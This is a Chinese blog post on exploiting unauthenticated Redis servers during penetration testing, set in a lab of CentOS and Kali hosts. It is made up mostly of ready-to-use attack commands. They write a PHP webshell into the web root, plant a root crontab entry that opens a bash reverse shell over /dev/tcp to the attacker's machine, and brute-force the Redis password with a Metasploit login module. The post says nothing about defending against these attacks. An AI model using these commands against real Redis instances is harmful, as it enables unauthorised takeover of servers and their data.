ITPub博客

首页 > 数据库 > 数据库开发技术 > Redis在渗透测试中的利用

Redis在渗透测试中的利用

原创 数据库开发技术 作者:逍遥子 时间:2023-12-21 08:00:00 0 删除 编辑

Redis是跨平台的非关系型数据库。可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。它支持字符串、哈希表、列表、集合、有序集合,位图,等数据类型。

漏洞原理

Redis默认6379端口并且为密码或弱密码的情况下,处于公网的redis服务就会被任意的用户未授权访问,读取数据,利用redis自身的命令,进行写入文件操作。从而获得系统权限。

实验环境

  • Centos7(公网、受害端)
  • Kali Linux(攻击端)

安装Redis

我们首先在Centos中安装Redis。分别执行下面命令

wget http://download.redis.io/releases/redis-2.8.17.tar.gz #下载
tar xzf redis-2.8.17.tar.gz #解压
cd redis-2.8.17
make #编译
cd src
cp redis-server /usr/bin
cp redis-cli /usr/bin
cd ..
cp redis.conf /etc/
redis-server /etc/redis.conf

需要注意的是,我们要在防火墙和安全组中开启6379端口

未授权测试

我们在kali中直接执行下面命令

redis-cli -h 8.219.xxx.xxx

如果是高版本的redis需要修改配置文件。将bind前面#注释符去掉,将protected-mode 后面改为no。

利用redis写webshell

在利用redis写webshell时,我们需要知道web站点的路径。不然即使生成webshell你也连不上。假设我们的站点目录是/var/www/html执行下面命令即可。

config set dir /var/www/html #设置目录
config set dbfilename kali.php #生成文件
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n" #给文件中写入内容
save#保存

完成后,我们访问文件

反弹Shell

我们在kali中利用nc进行监听端口。

nc -lvp 5555

接下来我们用redis创建定时任务文件。通过定时任务来上线nc

config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/kali的IP/5555 0>&1\n\n"
save

到时间后,会自动执行命令从而上线。

redis密码破解

一般情况下,都会设置默认密码。我们在配置文件redis.conf修改。配置msf

msfconsole
use auxiliary/scanner/redis/redis_login
set RHOSTS 8.219.xxx.xxx
set PASS_FILE /root/22.txt #设置密码字典
run

在msf中还有很多对redis的利用模块。我们可以利用下面命令查看

search redis

简单配置后,便可以直接使用。

更多精彩文章 欢迎关注我们


原文作者:Kali笔记;如有侵权,请联系管理员删除。

请登录后发表评论 登录
全部评论

注册时间:2021-01-22

  • 博文量
    760
  • 访问量
    444307